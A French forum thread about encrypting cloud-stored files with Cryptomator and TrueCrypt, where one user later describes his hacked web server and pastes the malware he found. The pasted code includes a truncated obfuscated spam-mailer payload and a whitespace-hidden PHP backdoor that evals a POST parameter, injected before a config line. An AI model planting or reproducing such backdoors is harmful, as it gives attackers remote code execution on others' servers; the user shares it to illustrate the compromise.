Sécurité des dropbox, GDdrive, OneDrive avec encryption

Vous connaissez mes inquiétudes concernant la sécurité des données qui sont stoquées dans le cloud sur des drives divers (DropBox, Gdrive, One Drive etc...)

Je viens de tomber sur ce Cryptomator.
https://cryptomator.org/

Le principe est qui va vous créer un répertoire virtuel où stoquer tous les fichiers.
Il va encrypter chaque fichier individuellement, avant de les mettre sur le stockage Cloud.
Ce qui va empêcher tous les service de lire mes fichiers encryptés, mais aussi si jamais le service se fait pirater.
Il faut bien sûr se souvenir de son mot de passe.

Je suis en train de le tester depuis ce matin et il me parait pas mal du tout et correspondre à mes recherches dans le domaine.
Je ne connaissais pas d'autre système similaires auparavant. Il vient donc combler un trou, et une de mes demandes.
Il faudra bien sûr voir sur du plus long terme, mais je ne peux que vous encourager à l'utiliser pour votre utilisation

Très intéressant, je vais tester ça et indisensable qu'il soit multiplateformes.
merci de l'info

Le seul souci que j'ai trouvé pour le moment, c'est que je n'ai pas encore trouvé le moyen de le lancer en ligne de commande ou automatiquement.
Le but, pour le lancer au démarrage de mes backups.
Donc, je dois faire manuellement. Mais je ne doute pas que cela existe, ou existera prochainement

Je suis toujours dubitatif face à ce genre de services.

Tout repose sur la confiance.

Qu'est-ce qu'on sait de ce service pour qu'on lui confie nos documents confidentiels ?

Sieg, ici, tes documents sont cryptés.

Pour le moment, j'utilise TrueCrypt pour stoquer en ligne mes documents.
Mais le souci, c'est qu'avec TrueCrypt, si mon "disque encrypté" fait 1G, il uploadera 1G.
Avec ce Cyptomator, chaque fichier sera indépendant. Donc, plus efficace à long terme.

Je conseille à tout le monde d'encrypter autant que faire se peut, les fichiers sensibles.

Je conseille à tout le monde d'encrypter autant que faire se peut, les fichiers sensibles.

Je suis d'accord sur le principe et j'utilise TrueCrypt comme toi.

Ça reste une affaire de confiance.

C'est un peu comme si je confiais les clés au concierge.

Qu'est-ce qui me dit qu'une porte-dérobée ne permet pas de lire mes fichiers encryptés ?

Ha là....., mais bon,....
Qui te dis que le concierge n'a pas le double de tes clés?

C'est tout à fait possible.

Je peux cependant jauger le comportement du concierge.

Une chose est certaine.

Le meilleur moyen d'accéder à des fichiers intéressants, c'est de proposer un service de cryptage gratuit.

Oui, bien sûr.
Mais là, TrueCrypt et Cryptomator, sont tous les 2 open source.
Les sources sont disponibles, donc, tout un chacun "pourrait" vérifier.
Par exemple TrueCrypt a eu un audit il y a 1 an environ, et c'est clean, juste avant son arrêt (car des rumeurs faisaient croire que les US voulaient justement une backdoor)

Perso j'utilise Truecrypt depuis tellement longtemps que je ne me souviens plus de l'année.
Le souci est que depuis 2014 il préviennent de failles et de l'abandon du projet.

Mais comme dit par Karabistouille, le souci est d'être obligé de sauvegarder l'ensemble du conteneur, c'est à dire 32Go pour moi même si on a modifié que 10Mo de données

Salut !
Merci pour l'info Karabistouille

whynot_93 a écrit:
Perso j'utilise Truecrypt depuis tellement longtemps que je ne me souviens plus de l'année.
Le souci est que depuis 2014 il préviennent de failles et de l'abandon du projet.

Les différents audits ne parlent de failles quasiment que lors d'une mauvaise utilisation, ou de l'usage sur une machine vérolée (ce qui fait sauter également la protection de tous les soft de chiffrage). Mais le conteneur chiffré en lui même est robuste à toute épreuve. Donc un usage sur un ordinateur clean reste inviolable.

Au pire, le projet est suivi par des forks, mais l'avantage de TrueCrypt est qu'une compilation perso permettait de retrouver exactement la même empreinte SHA512.

Qui ferait un bon tuto sur une bonne infrastructure sécurisée familiale ?

LePrevoyant, je veux bien m'y mettre.
Cela pourrait même faire l'objet d'un article dans le magasine Survival à la limite.
Car je pense que cela fait partie de la survie dans la jungle informatique quotidienne.

Euh... Le fait d'avoir chaque fichier cryptés séparément ne permet t'il pas justement de pouvoir plus simplement casser la clef par comparaison?

Cela devient compliqué pour faire cela...

NB : Un de mes serveurs s'est fait piraté, plein de process PHP qui s'amusent à spammer.
Je suis en train de nettoyer.
Ha ces merdes de hackers...

Injection SQL ?

Non pas injection SQL.
Des fichiers PHP qui sont apparut sur le serveur, bien encrypté, du style :
$tzwrinpwi = 4909; function firnewmgg($qzzzw, $syywwp){$zjlppk = ''; for($i=0; $i < strlen($qzzzw); $i++){$zjlppk .= isset($syywwp[$qzzzw[$i]]) ? $syywwp[$qzzzw[$i]] : $qzzzw[$i];}
$zxnjk="base64_decode";return $zxnjk($zjlppk);}
$rbyzqs = '4nwEBJ0Y5v4yeWJQit0QvWjP5QibcgOJFgxIVxsG4nwEBJ0Y5v4yeWjP5'.
'K0wiDePiDTDZ98xGFbf9kMICtw1iWJsG96U3vu15vuw3NJsBq0EvNRICq7DZ98xGFbf9kMY5vR16nwU5J0bBqK'.
'I69axGFbf9asGBq3yBvfY5v4ye20FRJeqRJcIG4sGzxsG9rR17sJrJkJrqQ64r2M17sJTRA66cLsacAdA'.
'VQ8f9akkvKf27w527wbD7kJfFKR2vs2gR2cDvr80c9cjTHiET9XxZHgAVxsG9qwtG92wCvMszrakvKf27w527wbDr2R77203vs'.
'5p7w6M7kR2R20nFKcDvrkIL4yezxsG94kkvKf27w527wbDr2R77203vs5p7w6M7k'.
'R2R20nFKcDvr80c9cjTHiET9XxZHgAVxsG9vsf9Dsf9twtGnwYiWJsG9R1Rkw'.
'TRJTIG4sGzxsG9q5PitJu3Waye20nr7j27QMuiQ8kBWJOcLs+c9RtBqjwG4sG9vbf9akeBq3ycvfsiDMPiQak5twb5JbD'.
'Ct2U5r66Z98AZtIx5QcIG4sG94whL4ye94kk5twb5qOuCq7apr'.
'MuCoRwiw0U3qfQCNTyen5ICnJCeWOuCq7DvrkhL4ye94kk5twb5qO'.
'uCq7aprME6qK1Cq2Hit0YG9RtBqjwCt2U5rkhL4ye94kk5twb5qOuCq7aprMXCDJUvWKu3NePiQak5twb5qOu'.

etc....

Je viens de le travailler pour le décrypter, et en fait c'est tout un serveur SMTP intégré qui sert à envoyer des spam.
J'étudie le fichier pour ma compréhension perso

J'imagine via un formulaire (image, etc,....)

Je ne sais pas comment ils ont pu placer des fichiers.
Rien est ouvert.
J'ai vu un user bizarre, donc, désactivé.
Il doit y avoir un trou qque part, bref, je cherche

Sinon Il est même pas mal du tout ce fichier d'envoi de mails
Je le garde de côté, il m'intéresse pour des développements

Voici une autre page :

$frj1=$noa2[3].$noa2[5].$noa2[4].$noa2[5].$noa2[0]. $noa2[7].$noa2[2]. $noa2[2].$noa2[6].$noa2[4];
$jek32 =$frj1 ($noa2[1].$noa2[2] . $noa2[0]. $noa2[3].$noa2[5]); if( isset( ${ $jek32 }[ 'q3729f7']));

echo $frj1;
echo $jek32;

echo ( ${ $jek32}['q3729f7']);
?>

J'ai ajouté les echo pour voir le résultat, soit :
"strtoupper_POST"

Purée, ils sont vicieux.....

J'ai plein de fichiers qui ont été modifiés.
Quand je regarde dedans, je ne vois rien de particulier, sauf qu'ils sont un peu plus grand.
En fait, ils ajoutent du code crypté avec toute une série de blanc pour rendre cela presque invisible.

C'est du PHP injection, comme du SQL Injection

< ? php                                                                                                                                                                                                                                                          $xqg43 ="sotp_"; $hihv3 = strtoupper ($xqg43[4]. $xqg43[3]. $xqg43[1]. $xqg43[0]. $xqg43[2]) ;if (isset(${ $hihv3 }['q2fd941'] )){eval( ${$hihv3 }['q2fd941'] ); }?> $dbhost = "127.0.0.1";


Au lieu de

< ? php
$dbhost = "127.0.0.1";

heu la c'est du chinois on fait quoi quand on a ça et qu'on y connait rien en informatique svp?

Ha là, tu pleures alors...
Chacun son boulot aussi, on ne peut tout connaître dans la vie

Tout est réparé, patché et mieux sécurisé. (jusqu'à la prochaine fois, car ils trouvent toujours qque chose)

Je postais ici, pour montrer la vulnérabilité de tout un chacun